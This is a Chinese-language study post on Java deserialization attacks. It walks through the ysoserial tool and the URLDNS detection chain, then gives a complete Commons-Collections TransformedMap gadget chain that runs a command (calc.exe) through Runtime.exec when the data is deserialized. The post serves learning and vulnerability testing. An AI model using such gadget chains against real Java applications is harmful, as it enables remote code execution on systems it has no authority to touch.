一、反序列化安全问题的产生
序列化及反序列化的场景在程序开发中经常会用到,比如通过浏览器上传文件到应用,如果JAVA应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意数据输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。因此我们首先需要构造恶意数据,常用的工具是Ysoserial,下载链接:https://github.com/frohoff/ysoserial
Ysoserial是一个集合了各种反序列化payload的工具集,可以让用户选择利用链(gadget chains)生成反序列化利用数据,然后再把这些数据发送给目标,目标再反序列化这些数据,从而执行用户预先定义的命令。即,Ysoserial替我们完成了特定恶意数据的制作,在idea中可以看一下相关的利用链:
该工具集成了各种利用链,比如URLDNS链、CommonsCollections等,由于具体的原理还有些没有琢磨清楚,因此这里就不写原理分析了,记录一下工具的使用过程,在文中列出了参考到的链接。
二、URLDNS链
这条链简单来讲就是让目标根据DNS域名去进行DNS解析,URLDNS链的特点:使用java内置的类构造,对第三方库没有依赖,并且在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞。这里使用dnslog平台进行测评 ,首先在dnslog平台获取一个域名,然后再使用工具生成序列化的数据,使用方法:
可以看到E盘生成了已经序列化好的数据,使用notepad++打开,注意使用16进制模式,内容如下:
现在假设有如下的程序,该程序去对上面生成的序列化文件进行反序列化处理:
package com.serialize.test;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class urlDnsTest {
public static void main(String[] args) throws IOException, ClassNotFoundException
{
ObjectInputStream
objectInputStream = new ObjectInputStream(new FileInputStream("E:/urldns.txt"));
Object oj =
objectInputStream.readObject();
System.out.println(oj);
}
}
运行程序后在dnslog平台上查看结果:
可以看到平台收到了DNS请求,这就是URLDNS链的使用,具体的原理分析:https://mp.weixin.qq.com/s/UkG7bhj_dWk2c-VLB8Nokg
三、Commons-Collections链
Apache Commons-Collections是一个扩展了Java标准库里面的Collections结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons-Collections被广泛用于各种Java应用的开发。Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebShpere、Jenkins等知名大型Java应用都使用了这个库。
TransformedMap
TransformedMap用于对Java标准数据结构MAP进行修饰,被修饰过的MAP在添加新元素时,将可以执行一个回调。如下通过这行代码对InnerMap进行修饰,传出的outerMap就是修饰后的Map
Map outerMap = TransformedMap.decorate(innerMap,keyTransformer,valueTransformer);
其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。这里的“回调”并不是传统意义上的一个回调函数,而一个实现了Transformer接口的类。
Org.apache.commons.collections.Transformer是一个接口,从代码上看它只有一个待实现的方法:
这个接口有几个重要的实现类:
ConstantTransformer.transform()方法:返回传入的类,源码如下:
InvokerTransformer.transform()方法:通过反射机制执行传入的函数,源码如下:
ChainedTransformer.transform()方法:将指定的转换器连接在一起的转化器实现,输入的对象将被传入到第一个转化器,转换结果将会输入到第二个转化器,并且以此类推。
sun.reflect.annotation.AnnotationInvocationHandler类:该类的构造函数包含两个参数,第一个参数必须是Annotation类的子类,并且其中必须包含有一个方法,假设方法名是X;被TransformedMap.decorate修饰的MAP中必须有一个键名为X的元素。
下面是完整的Transform链及关键说明:
package com.serialize.test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
// JDK 1.8.0.271 复现不了,JDK1.8.0.77可以复现
public class CCTransformedMap {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class,Class[].class},
new Object[] {"getRuntime",new Class[0] }),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"Calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
// Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
// outerMap.put("test","xxxx"); //手动调用 put方法
//由于将构造的恶意类handler需要使用AnnotationInvocationHandler的构造函数,其第一个参数为Retention.class,且其中有一个方法为value(),因此这里将value作为key存入MAP中。
innerMap.put("value","xxxx");
Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
//生成恶意对象的类
Object handler = (InvocationHandler)construct.newInstance(Retention.class,outerMap);
//使用ByteArrayOutputStream在内存中创建一个字节数组缓冲区,所有发送到输出流的数据保存在该字节数组缓冲区中
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
// System.out.println(barr);
//从字节缓冲区中读出数据,这里进行反序列化操作,从而触发漏洞
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
四、总结
这篇就这样吧,由于对原理掌握不透,因此就简单写了如何使用URLDNS链以及Commons-Collections链。